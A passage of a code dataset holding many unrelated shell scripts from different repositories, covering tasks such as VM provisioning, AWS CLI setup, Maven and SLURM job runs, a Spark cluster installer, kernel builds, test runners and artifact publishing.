disks\"\n help\n fi\n fi\n\n if [[ $VMS -lt 1 || $DISKS -lt 0 || $START_INDEX -lt 1 ]]\n then\n echo \"VMs should be >= 1, disks should be >= 0, index should be >= 1\"\n help\n fi\n\n echo \"Final arguments: ATTACH_DISKS: $ATTACH_DISKS; BASE_VM: $BASE_VM; BASE_IP: $BASE_IP; PREFIX: $PREFIX; START_INDEX: $START_INDEX; VMS: $VMS; DISKS: $DISKS; SIZE: $SIZE\"\n\n if [[ \"$ATTACH_DISKS\" == \"yes\" ]]\n then\n attach_disks\n else\n create_vms\n fi\n\n}\n\nfunction main() {\n if [[ $# == 0 ]]\n then\n help\n else\n parse_args \"$@\"\n fi\n}\n\nmain \"$@\""} {"text": "JonasProgrammer/docker-nipapd\n#!/bin/sh\n\nPREFIX=AUTH_BACKEND_\n\nbackend_vars=$(set | sed -nr \"s/$PREFIX([^=]+)=.*$/\\1/p\" | sort)\n\nlast_backend=\"\"\n\nfor v in $backend_vars; do\n backend=$(echo \"$v\" | sed -nr 's/^([^_]+).*$/\\1/p')\n var=$(echo \"$v\" | sed -nr 's/^[^_]+_(.*)$/\\1/p')\n\n eval val=\"\\${${PREFIX}${v}}\"\n\n var_file_trim=$(echo \"$var\" | sed -nr 's/^(.*)_FILE$/\\1/p')\n if [ -n \"$var_file_trim\" ]; then\n var=\"$var_file_trim\"\n val=$(cat \"$val\")\n fi\n\n [ \"$last_backend\" != \"$backend\" ] && echo \"[auth.backends.${backend}]\"\n echo \"$var = $val\"\n\n last_backend=\"$backend\"\ndone"} {"text": "CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o backend ."} {"text": "moxspoy/autoflip\n#!/usr/bin/env bash\n\ncat << EOF\nCLICKUP=${CLICKUP}\nTEST=TEST\nEOF"} {"text": "0\n#!/bin/bash\n\necho \"cleanup...\"\n\napt-get -y autoremove\napt-get -y clean"} {"text": "cloud-native-toolkit/terraform-aws-s3-bucket0\n#!/usr/bin/env bash\n\nREGION=$(cat terraform.tfvars | grep -E \"^region\" | sed \"s/region=//g\" | sed 's/\"//g')\n\naws configure set region ${REGION}\naws configure set aws_access_key_id ${AWS_ACCESS_KEY_ID}\naws configure set aws_secret_access_key ${AWS_SECRET_ACCESS_KEY}\nexit 0"} {"text": "phasenraum2010/spring-data-jpa-with-neo4j-redis-sessionbin/run-config.sh\n#!/usr/bin/env bash\n\nexport JAVA_OPTIONS_HEROKU='-Xmx350m -Xss512k -Dfile.encoding=UTF-8'\nexport JAVA_OPTIONS='-Xmx300m -Xss512k -Dfile.encoding=UTF-8'\nexport MAVEN_OPTS=\"-Xmx512m\"\nexport SERVER_PORT=8080\n\nexport MAVEN_VERSION=3.5.3\n\nexport JAR_FILE=target/combineddatabases-1.0.1-SNAPSHOT.jar\n\nexport PROFILES=\"default dev int test prod travis devembedded intembedded testembedded prodembedded travisembedded\"\n\nfunction verify(){\n ./mvnw -e verify\n}\n\nfunction run() {\n PROFILE=$1\n ./mvnw -e -P$PROFILE verify\n ./mvnw -e -P$PROFILE clean spring-boot:run\n}\n\nfunction run_like_heroku() {\n PROFILE=$1\n ./mvnw -P$PROFILE -e clean install\n java -Dserver.port=$PORT $JAVA_OPTIONS -jar $JAR_FILE\n}\n\nfunction build(){\n verify\n ./mvnw -e clean install dependency:tree\n}\n\nfunction build_profile (){\n PROFILE=$1\n ./mvnw -e -P$PROFILE verify\n ./mvnw -e -P$PROFILE clean install dependency:tree\n}\n\nfunction site(){\n PROFILE=$1\n verify\n ./mvnw -e -P$PROFILE -Dserver.port=$PORT clean install dependency:tree site\n}\n\nfunction site_run(){\n PROFILE=$1\n ./mvnw -e -P$PROFILE verify\n ./mvnw -e -P$PROFILE -Dserver.port=$PORT clean install dependency:tree site site:run\n}\n\nfunction build_all_profiles(){\n for PROFILE in $PROFILES\n do\n build_profile $PROFILE\n done\n}\n\nfunction run_all_profiles(){\n for PROFILE in $PROFILES\n do\n run $PROFILE\n done\n}\n\nfunction run_like_heroku_all_profiles(){\n for PROFILE in $PROFILES\n do\n run_like_heroku $PROFILE\n done\n}\n\nfunction site_all_profiles(){\n for PROFILE in $PROFILES\n do\n site $PROFILE\n done\n}\n\nfunction test_all_profiles(){\n #build_all_profiles\n run_all_profiles\n #run_like_heroku_all_profiles\n #site_all_profiles\n}"} {"text": "#!/bin/sh\n\n# https://developer.apple.com/library/archive/featuredarticles/iPhoneURLScheme_Reference/SMSLinks/SMSLinks.html\nopen \"imessage://open?addresses=$1\""} {"text": "#!/bin/bash\n\n# theta\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meantheta_LFP_5c_artif_bipolar_BA_w50_theta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meantheta_LFP_5c_artif_bipolar_BA_w150_theta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meantheta_LFP_5c_artif_bipolar_BA_w250_theta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meantheta_LFP_5c_artif_bipolar_BA_w50_theta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meantheta_LFP_5c_artif_bipolar_BA_w150_theta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meantheta_LFP_5c_artif_bipolar_BA_w250_theta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n\n# alpha\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanalpha_LFP_5c_artif_bipolar_BA_w50_alpha_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanalpha_LFP_5c_artif_bipolar_BA_w150_alpha_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanalpha_LFP_5c_artif_bipolar_BA_w250_alpha_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanalpha_LFP_5c_artif_bipolar_BA_w50_alpha_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanalpha_LFP_5c_artif_bipolar_BA_w150_alpha_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanalpha_LFP_5c_artif_bipolar_BA_w250_alpha_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n\n# beta\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanbeta_LFP_5c_artif_bipolar_BA_w50_beta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanbeta_LFP_5c_artif_bipolar_BA_w150_beta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanbeta_LFP_5c_artif_bipolar_BA_w250_beta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanbeta_LFP_5c_artif_bipolar_BA_w50_beta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanbeta_LFP_5c_artif_bipolar_BA_w150_beta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanbeta_LFP_5c_artif_bipolar_BA_w250_beta_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n\n# low gamma\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanlowgamma_LFP_5c_artif_bipolar_BA_w50_lowgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanlowgamma_LFP_5c_artif_bipolar_BA_w150_lowgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanlowgamma_LFP_5c_artif_bipolar_BA_w250_lowgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanlowgamma_LFP_5c_artif_bipolar_BA_w50_lowgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanlowgamma_LFP_5c_artif_bipolar_BA_w150_lowgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanlowgamma_LFP_5c_artif_bipolar_BA_w250_lowgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n\n# high gamma\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanhighgamma_LFP_5c_artif_bipolar_BA_w50_highgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanhighgamma_LFP_5c_artif_bipolar_BA_w150_highgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\nsrun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanhighgamma_LFP_5c_artif_bipolar_BA_w250_highgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnet &\nsleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanhighgamma_LFP_5c_artif_bipolar_BA_w50_highgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanhighgamma_LFP_5c_artif_bipolar_BA_w150_highgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n#srun --partition=long,phi,main -c 4 --mem=16000 python Mapper.py -b rsa -f meanhighgamma_LFP_5c_artif_bipolar_BA_w250_highgamma_resppositive -d euclidean -o matrix -t 1.0 -s corr -p True -g layer_area_score_visual -n alexnetrandom &\n#sleep 1\n\necho 'All sent'"} {"text": "Chapter01/installOnRemote.sh\n#!/bin/bash\n\n# Shell script for installing Spark from binaries\n# on remote servers\n#\n# PySpark Cookbook\n# Author: , \n# Version: 0.1\n# Date: 12/9/2017\n\n_spark_binary=\"http://mirrors.ocf.berkeley.edu/apache/spark/spark-2.2.0/spark-2.2.0-bin-hadoop2.7.tgz\"\n_spark_archive=$( echo \"$_spark_binary\" | awk -F '/' '{print $NF}' )\n_spark_dir=$( echo \"${_spark_archive%.*}\" )\n_spark_destination=\"/opt/spark\"\n_java_destination=\"/usr/lib/jvm/java-8-oracle\"\n\n_python_binary=\"https://repo.continuum.io/archive/Anaconda3-5.0.1-Linux-x86_64.sh\"\n_python_archive=$( echo \"$_python_binary\" | awk -F '/' '{print $NF}' )\n_python_destination=\"/opt/python\"\n\n_machine=$(cat /etc/hostname)\n_today=$( date +%Y-%m-%d )\n\n_current_dir=$(pwd) # store current working directory\n\nfunction printHeader() {\n echo\n echo \"####################################################\"\n echo\n echo \"Installing Spark from binaries on:\"\n echo \" $_machine\"\n echo\n echo \"Spark binaries will be moved to:\"\n echo \" $_spark_destination\"\n echo\n echo \"PySpark Cookbook by and \"\n echo \"Version: 0.1, 12/9/2017\"\n echo\n echo \"####################################################\"\n echo\n echo\n}\n\nfunction readIPs() {\n echo\n echo \"##########################\"\n echo\n echo \"Reading the hosts.txt list\"\n echo\n \n input=\"./hosts.txt\"\n\n driver=0\n executors=0\n _executors=\"\"\n\n IFS=''\n while read line\n do\n if [[ \"$driver\" = \"1\" ]]; then\n _driverNode=\"$line\"\n driver=0\n fi\n\n if [[ \"$executors\" = \"1\" ]]; then\n _executors=$_executors\"$line\\n\"\n fi\n\n if [[ \"$line\" = \"driver:\" ]]; then\n driver=1\n executors=0\n fi\n\n if [[ \"$line\" = \"executors:\" ]]; then\n executors=1\n driver=0\n fi\n\n if [[ -z \"${line}\" ]]; then\n continue\n fi\n done < \"$input\"\n}\n\nfunction checkJava() {\n echo\n echo \"##########################\"\n echo\n echo \"Checking Java\"\n echo\n\n if type -p java; then\n echo \"Java executable found in PATH\"\n _java=java\n elif [[ -n \"$JAVA_HOME\" ]] && [[ -x \"$JAVA_HOME/bin/java\" ]]; then\n echo \"Found Java executable in JAVA_HOME\"\n _java=\"$JAVA_HOME/bin/java\"\n else\n echo \"No Java found. Install Java version $_java_required or higher first or specify JAVA_HOME variable that will point to your Java binaries.\"\n installJava\n fi\n}\n\nfunction installJava() {\n echo\n echo \"##########################\"\n echo\n echo \"Installing Java\"\n echo\n sudo apt-get install python-software-properties\n sudo add-apt-repository ppa:webupd8team/java\n sudo apt-get update\n sudo apt-get install oracle-java8-installer\n}\n\nfunction installScala() {\n echo\n echo \"##########################\"\n echo\n echo \"Installing Scala\"\n echo\n sudo apt-get install scala\n}\n\nfunction installPython() {\n curl -O \"$_python_binary\"\n chmod 0755 ./\"$_python_archive\"\n sudo bash ./\"$_python_archive\" -b -u -p \"$_python_destination\"\n}\n\nfunction updateHosts() {\n echo\n echo \"##########################\"\n echo\n echo \"Updating the /etc/hosts\"\n echo\n\n _hostsFile=\"/etc/hosts\"\n\n # make a copy (if one already doesn't exist)\n if ! [ -f \"/etc/hosts.old\" ]; then\n sudo cp \"$_hostsFile\" /etc/hosts.old\n fi\n\n t=\"###################################################\\n\"\n t=$t\"#\\n\"\n t=$t\"# IPs of the Spark cluster machines\\n\"\n t=$t\"#\\n\"\n t=$t\"# Script: installOnRemote.sh\\n\"\n t=$t\"# Added on: $_today\\n\"\n t=$t\"#\\n\"\n t=$t\"$_driverNode\\n\"\n t=$t\"$_executors\\n\"\n\n sudo printf \"$t\" >> $_hostsFile\n\n}\n\nfunction configureSSH() {\n echo\n echo \"##########################\"\n echo\n echo \"Configuring SSH connections \"\n echo\n\n # check if driver node\n IFS=\" \"\n read -ra temp <<< \"$_driverNode\"\n _driver_machine=( ${temp[1]} )\n _all_machines=\"$_driver_machine\\n\"\n\n if [ \"$_driver_machine\" = \"$_machine\" ]; then\n # generate key pairs (passwordless)\n sudo -u hduser rm -f ~/.ssh/id_rsa\n sudo -u hduser ssh-keygen -t rsa -P \"\" -f ~/.ssh/id_rsa\n\n IFS=\"\\n\"\n # loop through all the executors\n read -ra temp <<< \"$_executors\"\n for executor in ${temp[@]}; do \n # skip if empty line\n if [[ -z \"${executor}\" ]]; then\n continue\n fi\n \n # split on space\n IFS=\" \"\n read -ra temp_inner <<< \"$executor\"\n echo\n echo \"Trying to connect to ${temp_inner[1]}\"\n\n # ssh to the remote node from master\n # create .ssh directory\n # and output the public key to authorized_keys\n # file inside .ssh\n cat ~/.ssh/id_rsa.pub | ssh \"hduser\"@\"${temp_inner[1]}\" 'mkdir -p .ssh && cat >> .ssh/authorized_keys'\n\n # append the executor name to the _all_machines\n # (we'll need it later)\n _all_machines=$_all_machines\"${temp_inner[1]}\\n\"\n done\n fi\n\n echo \"Finishing up the SSH configuration\"\n}\n\n# Download the package\nfunction downloadThePackage() {\n echo\n echo \"##########################\"\n echo\n echo \"Downloading the $_spark_binary\"\n echo\n\n\n if [ -d _temp ]; then\n sudo rm -rf _temp\n fi\n\n mkdir _temp\n cd _temp\n wget $_spark_binary\n \n echo\n}\n\n# Unpack the archive\nfunction unpack() {\n echo\n echo \"##########################\"\n echo\n echo \"Unpacking the $_spark_archive archive\"\n echo\n tar -xf $_spark_archive\n\n echo\n}\n\n# Move the binaries\nfunction moveTheBinaries() {\n echo\n echo \"##########################\"\n echo\n echo \"Moving the binaries to $_spark_destination\"\n echo\n\n if [ -d \"$_spark_destination\" ]; then\n sudo rm -rf \"$_spark_destination\"\n fi\n\n sudo mv $_spark_dir/ $_spark_destination/\n sudo chown -R hduser:hadoop $_spark_destination\n\n echo\n}\n\nfunction setSparkEnvironmentVariables() {\n echo\n echo \"##########################\"\n echo\n echo \"Setting Spark Environment variables\"\n echo\n\n _bash=~/.bashrc\n\n # make a copy just in case\n if ! [ -f \"$_bash.spark_copy\" ]; then\n cp \"$_bash\" \"$_bash.spark_copy\"\n fi\n\n echo >> $_bash\n echo \"###################################################\" >> $_bash\n echo \"# SPARK environment variables\" >> $_bash\n echo \"#\" >> $_bash\n echo \"# Script: installOnRemote.sh\" >> $_bash\n echo \"# Added on: $_today\" >>$_bash\n echo >> $_bash\n\n echo \"export SPARK_HOME=$_spark_destination\" >> $_bash\n echo \"export JAVA_HOME=$_java_destination\" >> $_bash\n echo \"export PYSPARK_PYTHON=$_python_destination/bin/python\"\n \n echo \"export PATH=\\$SPARK_HOME/bin:\\$SPARK_HOME/sbin:$_python_destination\\bin:\\$PATH\" >> $_bash\n}\n\nfunction updateSparkConfig() {\n echo\n echo \"##########################\"\n echo\n echo \"Configuring Spark\"\n echo\n \n cd $_spark_destination/conf\n\n sudo -u hduser cp spark-env.sh.template spark-env.sh\n echo \"export JAVA_HOME=$_java_destination\" >> spark-env.sh\n echo \"export SPARK_WORKER_CORES=12\" >> spark-env.sh\n\n sudo -u hduser cp slaves.template slaves\n printf \"$_all_machines\" >> slaves\n}\n\n# Clean up\nfunction cleanUp() {\n cd $_current_dir\n rm -rf _temp\n}\n\nprintHeader\nreadIPs\ncheckJava\ninstallScala\ninstallPython\nupdateHosts\nconfigureSSH\ndownloadThePackage\nunpack\nmoveTheBinaries\nsetSparkEnvironmentVariables\nupdateSparkConfig\ncleanUp"} {"text": "#!/bin/bash\nAPI_URL=http://covid-fluidapi-spring.herokuapp.com/covid-report\nFILE_PATH=data/input.csv\nCONTENT_TYPE=\"Content-Type: multipart/form-data\"\n\ncurl --request POST --url ${API_URL} --header \"${CONTENT_TYPE}\" --form \"file=@${FILE_PATH}\" > result.json\n\nif [ -x \"$(command -v jq)\" ];\nthen\n echo \"jq command available\"\n cat result.json | jq\nelif [ -x \"$(command -v docker)\" ];\nthen\n echo \"docker command available\"\n docker run --rm -v $(pwd)/result.json:/tmp/result.json node:alpine \\\n cat /tmp/result.json | node -e \"console.log( JSON.stringify( JSON.parse(require('fs').readFileSync(0) ), 0, 1 ))\"\nelse\n echo \"jq or docker command not found\"\n cat result.json\nfi\n\nrm result.json"} {"text": "#!/bin/bash\nsubscriptionId=f1766062-4c0b-4112-b926-2508fecc5bdf\nlocation=westus2\ndnsPrefix=rg-cb-acs-engine-k8\nresourceGroup=rg-cb-acs-engine-k8\n\n./deploy-acs-engine.sh -d $dnsPrefix -l $location -r $resourceGroup -s $subscriptionId"} {"text": "vagrant/build_kernel.sh\n#!/bin/sh\nset -e\n\n. /vagrant/vagrant/settings.sh\n\nwget -c https://www.kernel.org/pub/linux/kernel/v4.x/linux-$LINUXVER.tar.xz\necho unpacking kernel...\ntar -xf linux-$LINUXVER.tar.xz\necho building kernel...\ncp /vagrant/kernel-config-$LINUXVER linux-$LINUXVER/.config\ncd linux-$LINUXVER\n\nmake ARCH=arm KBUILD_DEBARCH=armhf KDEB_PKGVERSION=$LINUXVER-$LINUXPKGVER deb-pkg"} {"text": "dailyscripts/fast.sh1-10\n#!/bin/bash\n\necho ''\necho -e 'Increase cursor speed. Press 1 for Yes, or 2 for No.'\nread sel\n\n# ON\nif [[ $sel -eq 1 ]];\nthen\nxset r rate 360 70\n\n# OFF\nelif [[ $sel -eq 2 ]];\nthen\nxset r rate 320 40\n\nfi"} {"text": "bkeepers/strappydoo\n#!/usr/bin/env bash\n\ntest -f phpunit.xml || test -f vendor/bin/phpunit || return 1\n\nphpunit_test() {\n run vendor/bin/phpunit\n}"} {"text": "deeg/libyal0\n#!/bin/bash\n# Tests C library functions and types.\n#\n# Version: 20170722\n\nEXIT_SUCCESS=0;\nEXIT_FAILURE=1;\nEXIT_IGNORE=77;\n\nLIBRARY_TESTS=\"${library_tests}\";\nLIBRARY_TESTS_WITH_INPUT=\"${library_tests_with_input}\";\nOPTION_SETS=\"${tests_option_sets}\";\n\nINPUT_GLOB=\"*\";\n\nrun_test()\n{\n\tlocal TEST_NAME=$$1;\n\n\tlocal TEST_DESCRIPTION=\"Testing: $${TEST_NAME}\";\n\tlocal TEST_EXECUTABLE=\"./${library_name_suffix}_test_$${TEST_NAME}\";\n\n\tif ! test -x \"$${TEST_EXECUTABLE}\";\n\tthen\n\t\tTEST_EXECUTABLE=\"$${TEST_EXECUTABLE}.exe\";\n\tfi\n\n\t# TODO: add support for TEST_PROFILE and OPTION_SETS?\n\trun_test_with_arguments \"$${TEST_DESCRIPTION}\" \"$${TEST_EXECUTABLE}\";\n\tlocal RESULT=$$?;\n\n\treturn $${RESULT};\n}\n\nrun_test_with_input()\n{\n\tlocal TEST_NAME=$$1;\n\n\tlocal TEST_DESCRIPTION=\"Testing: $${TEST_NAME}\";\n\tlocal TEST_EXECUTABLE=\"./${library_name_suffix}_test_$${TEST_NAME}\";\n\n\tif ! test -x \"$${TEST_EXECUTABLE}\";\n\tthen\n\t\tTEST_EXECUTABLE=\"$${TEST_EXECUTABLE}.exe\";\n\tfi\n\n\trun_test_on_input_directory \"${library_name}\" \"$${TEST_DESCRIPTION}\" \"default\" \"$${OPTION_SETS}\" \"$${TEST_EXECUTABLE}\" \"input\" \"$${INPUT_GLOB}\";\n\tlocal RESULT=$$?;\n\n\treturn $${RESULT};\n}\n\nif ! test -z $${SKIP_LIBRARY_TESTS};\nthen\n\texit $${EXIT_IGNORE};\nfi\n\nTEST_RUNNER=\"tests/test_runner.sh\";\n\nif ! test -f \"$${TEST_RUNNER}\";\nthen\n\tTEST_RUNNER=\"./test_runner.sh\";\nfi\n\nif ! test -f \"$${TEST_RUNNER}\";\nthen\n\techo \"Missing test runner: $${TEST_RUNNER}\";\n\n\texit $${EXIT_FAILURE};\nfi\n\nsource $${TEST_RUNNER};\n\nRESULT=$${EXIT_IGNORE};\n\nfor TEST_NAME in $${LIBRARY_TESTS};\ndo\n\trun_test \"$${TEST_NAME}\";\n\tRESULT=$$?;\n\n\tif test $${RESULT} -ne $${EXIT_SUCCESS};\n\tthen\n\t\tbreak;\n\tfi\ndone\n\nif test $${RESULT} -ne $${EXIT_SUCCESS} && test $${RESULT} -ne $${EXIT_IGNORE};\nthen\n\texit $${RESULT};\nfi\n\nfor TEST_NAME in $${LIBRARY_TESTS_WITH_INPUT};\ndo\n\tif test -d \"input\";\n\tthen\n\t\trun_test_with_input \"$${TEST_NAME}\";\n\t\tRESULT=$$?;\n\telse\n\t\trun_test \"$${TEST_NAME}\";\n\t\tRESULT=$$?;\n\tfi\n\n\tif test $${RESULT} -ne $${EXIT_SUCCESS};\n\tthen\n\t\tbreak;\n\tfi\ndone\n\nexit $${RESULT};"} {"text": "#!/bin/bash\necho \"You are in `pwd`\"\n#echo \"Now, checking job logfiles.\"\nsnum=0\nstime=0\ntotN=293\nif [[ `ls *.txt | wc -l` -ne $totN ]];then\n\tfor n in {0..292}\n\tdo\n\t\tif [[ ! -f pdflog-${n}.txt ]];then\n\t\t\tjob_name=`ls ../run | grep \"[-,_]${n}.sh\" | awk 'NR==1'`\n\t\t\thep_sub ../run/$job_name -e /dev/null -o /dev/null -wt short\n\t\tfi\n\tdone\nfi\n\nfilelist=`ls | grep .txt`\npath0=`pwd`\nresub=0\nif [[ $1 == \"resub\" ]];then\n\tresub=1\nelif [[ $# -eq 1 ]];then\n\tfilelist=$1\n\t# one log txt to check\nelif [[ `ls | grep \".txt\"` == \"\" ]];then\n\techo \"Erorr! No log txt files in `pwd`\"\n\texit 1\nfi\necho \"tmp\" > tmp_running_jobs.tmp\nhep_q -u | grep \"R\" >> tmp_running_jobs.tmp\nfor f in `echo $filelist`\ndo\n\ttail30=`tail -n 40 $f`\n\tif [[ `echo \"$tail30\" | tail -n 7 | grep -w \"Successfully\"` ]] && [[ `echo \"$tail30\" | grep \"rror\\|#\"` == \"\" ]];then\n\t\t# COTI log files are not recommended\n\t\tlet \"snum=snum+1\"\n\t\tdtime=`echo \"$tail30\" | tail -n 3 | head -n 1 | awk '{print $2}'` \n\t\ttmp_m=`echo \"${dtime%m*}\"`\n\t\ttmp_s=`echo \"${dtime#*m}\" | cut -ds -f1`\n\t\tstime=`echo \"scale=2; $stime+$tmp_m*60+$tmp_s\" | bc`\n\telse\n\t\trun=`echo ${f##*-} | cut -d. -f1`\n\t\tjob_name=`ls ../run | grep \"[-,_]${run}.sh\" | awk 'NR==1'`\n\t\t#echo -e \"$job_name\\c\"\n\t\tif [[ -f \"${path0}/tmp_running_jobs.tmp\" ]] && [[ `cat ${path0}/tmp_running_jobs.tmp | grep -w \"$job_name\"` ]];then\n\t\t\techo \"$job_name is still running!\"\n\t\telse\n\t\t\techo \"$path0/$f not success\"\n\t\n\t\t\tif [[ $resub -eq 1 ]];then\n\t\t\t\thep_sub ../run/$job_name -e /dev/null -o /dev/null -wt short\n\t\t\t\t# -mem 3000\n\t\t\t\tcd $path0\n\t\t\tfi\n\t\tfi\n\tfi\ndone\nif [[ $snum -eq 0 ]];then\n\techo \"No success files!\"\nelse\n\tstime=`echo \"$stime/$snum\" | bc`\n\techo \"success file number: $snum\"\n\techo \"success file time avg: `echo \"$stime/60\" | bc`m`echo \"$stime%60\" | bc`s\"\nfi\nrm -f tmp_running_jobs.tmp\n#rm -f cktmpjwbash.txt"} {"text": "#!/bin/bash\n\nsbt \"~run -Drun.mode=Dev -Dhttp.port=9689 $*\""} {"text": "#!/bin/bash\n\ncd \"$( dirname \"$0\" )\"\nsource function_moan.bash\n\nartefact_path=$( echo target/scala-2.11/fuds-*.jar )\nartefact_filename=$( basename ${artefact_path} )\nversion=$( echo ${artefact_filename} | sed 's|fuds-||' | sed 's|\\-.*.jar||' )\n\nif [[ \"${FUDS_PUBLISHER_PASSWORD}\" == \"\" ]] ; then\n credentials=publisher\nelse\n credentials=publisher:${FUDS_PUBLISHER_PASSWORD}\nfi\n\ntarget_url=https://hallon.org.uk:9010/fuds/${version}/${artefact_filename}\necho \"Publishing fuds version ${version}: ${artefact_path} -> ${target_url}\" >&2\ncurl -v --fail -3T ${artefact_path} --user ${credentials} ${target_url} >/dev/null || moan \"Failed to publish ${artefact_path} to ${target_url}\"\n\necho Success >&2"} {"text": "JCur96/TheMulQuaBio0\n#!/bin/bash\n# Adds profiling code to RScripts, \n# will conditionally call Python profiling with same dynamic naming\n\n#####################NOTES ON USE ####################\n# run this after running the miniproject in question #\n# it will add command to the start and end of any R #\n# script it finds. These will take effect when that #\n# script is run again. Any Python is profiled in #\n# as this script is run, hence why it should be run #\n# after the project has already successfully run once#\n######################################################\n\n\nINPUTDIR=$1\n\nif [ ! -d \"$INPUTDIR\" ] \nthen\n echo \"Error: Bad input, $INPUTDIR does not exist or is not full file path.\"\n #echo \"Directory /path/to/dir exists.\" \n#else\n #echo \"Error: Bad input, $INPUTDIR does not exist or is not full file path.\"\nfi\nFILES=$INPUTDIR/*\nfor FILE in $FILES; do\n #echo $(basename -- $FILE)\n if [[ $FILE == *.R ]]\n then\n f=\"$(basename -- $FILE)\"\n o=${f%.R}\n #echo $o\n OUTNAME=\"$o.out\"\n #echo $OUTNAME\n LOG=\"$f.log\"\n #echo $f\n sed -i \"1 i\\Rprof('$OUTNAME')\" $FILE\n sed -i -e \"$ a capture.output(summaryRprof('$OUTNAME'), file = '$LOG')\" $FILE\n elif [[ $FILE == *.py ]]\n then \n echo \"Python file found, profiling...\"\n cd $INPUTDIR\n f=\"$(basename -- $FILE)\"\n o=${f%.py}\n LOG=\"$o.log\"\n python3 -m cProfile -s 'cumulative' $FILE > $LOG\n \n fi\ndone"} {"text": 